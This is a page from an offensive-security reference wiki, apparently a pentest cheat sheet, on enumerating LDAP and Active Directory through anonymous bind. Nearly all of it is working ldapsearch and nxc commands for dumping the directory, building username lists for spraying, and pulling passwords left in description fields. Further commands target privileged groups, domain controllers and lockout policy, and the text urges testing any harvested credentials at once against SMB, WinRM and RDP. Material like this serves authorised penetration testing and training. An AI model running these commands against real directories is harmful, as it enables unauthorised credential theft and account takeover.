# LDAP Anonymous Enumeration

- **URL:** https://hackindex.io/services/ldap/enumeration/ldap-anonymous-enumeration
- **Path:** LDAP > Enumeration
- **Up:** [Enumeration](https://hackindex.io/services/ldap/enumeration.md)
- **Published:** 2026-01-04
- **Updated:** 2026-05-15

When anonymous bind succeeds, you can query the directory without credentials. The scope of what you can read varies: some servers expose the full tree, others scope anonymous access to specific OUs or attributes. Start broad and narrow down based on what the server returns.

Before running any query here, confirm anonymous bind works and get your base DN from [LDAP RootDSE and Anonymous Bind Checks](https://hackindex.io/services/ldap/enumeration/ldap-rootdse-and-anonymous-bind-checks).

## Full directory dump

Start with a broad dump to see what the server exposes. Save it to a file: the output is often large and you want to grep through it offline.

**Full anonymous dump**

```bash
# Dump everything readable
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" > ldap-dump.txt

# Dump with all attributes explicitly
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=*)" "*" > ldap-dump.txt

# Quick preview of what object types exist
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=*)" objectClass | grep "^objectClass" | sort | uniq -c | sort -rn
```

## Users

Pull all user objects with the attributes most useful for follow-on attacks. The `description` attribute is critical: administrators frequently store temporary passwords there.

**User enumeration**

```bash
# All users: key attributes
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName userPrincipalName description memberOf

# Just usernames: clean list for spraying
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}'

# OpenLDAP / non-AD
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=posixAccount)" uid cn homeDirectory loginShell

# Check descriptions for passwords
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName description | grep -B1 "description:"
# # user1, Users, corp.local
# dn: CN=user1,CN=Users,DC=corp,DC=local
# sAMAccountName: user1
# description: Password123! - temp password set by IT
```

Any password found in the `description` field is live domain credential data. Test it immediately against SMB, WinRM, and RDP before continuing enumeration. The username list from `sAMAccountName` values feeds directly into AS-REP Roasting: you can request AS-REP hashes for any of these accounts without knowing their password if pre-auth is disabled.

## Groups

**Group enumeration**

```bash
# All groups
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=group)" cn member

# High-value groups only
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(cn=Domain Admins)" member
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(cn=Enterprise Admins)" member
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(cn=Backup Operators)" member
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(cn=Account Operators)" member
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(cn=Remote Desktop Users)" member
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(cn=DNSAdmins)" member

# All groups with members listed
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=group)" cn member | grep -E "^cn:|^member:"
```

## Computers

**Computer enumeration**

```bash
# All computers
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=computer)" dNSHostName operatingSystem sAMAccountName

# Domain controllers only
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" dNSHostName
```

## Password policy

Always pull the password policy before attempting any brute force or spraying. The `lockoutThreshold` value determines how many attempts you can make per account before locking it out. A value of 0 means no lockout.

**Password policy**

```bash
# Domain password policy
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=domainDNS)" minPwdLength lockoutThreshold lockoutDuration pwdHistoryLength maxPwdAge

# Alternative filter
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=domain)" | grep -E "lockout|pwd|Pwd"
# minPwdLength: 7
# lockoutThreshold: 0
# maxPwdAge: -37108517437440000
```

`lockoutThreshold: 0` means no lockout policy: you can brute force accounts freely. A non-zero threshold means you need to respect it or risk locking out accounts. Feed this into your spraying strategy: check [AD Password Policy and Spray Surface](https://hackindex.io/platforms/active-directory/vulnerability-discovery/ad-password-policy-and-spray-surface) before touching [LDAP Brute Force and Password Spraying](https://hackindex.io/services/ldap/exploitation/brute-force).

## LDAP anonymous enumeration with nxc

**nxc anonymous enumeration**

```bash
# Users
nxc ldap $TARGET_IP -u '' -p '' --users

# Password not required (may authenticate with blank password)
nxc ldap $TARGET_IP -u '' -p '' --password-not-required

# Groups
nxc ldap $TARGET_IP -u '' -p '' --groups
# LDAP  10.10.10.10  389  DC01  [+] corp.local\ 
# LDAP  10.10.10.10  389  DC01  [*] Enumerated 24 domain users
# LDAP  10.10.10.10  389  DC01  corp.local\Administrator  badpwdcount: 0  desc: Built-in account for administering
# LDAP  10.10.10.10  389  DC01  corp.local\svc-backup  badpwdcount: 0  desc: Password123! - temp
```

## What to do with the output

- Username list → feed into [AS-REP Roasting](https://hackindex.io/services/kerberos/exploitation/asrep-roasting) with impacket-GetNPUsers: no credentials needed
- Passwords in description fields → test immediately against SMB and WinRM
- No lockout policy → safe to spray, proceed to [Brute Force and Password Spraying](https://hackindex.io/services/ldap/exploitation/brute-force) or [AD Password Spraying](https://hackindex.io/platforms/active-directory/exploitation/ad-password-spraying)
- Group memberships → identify high-value accounts to target first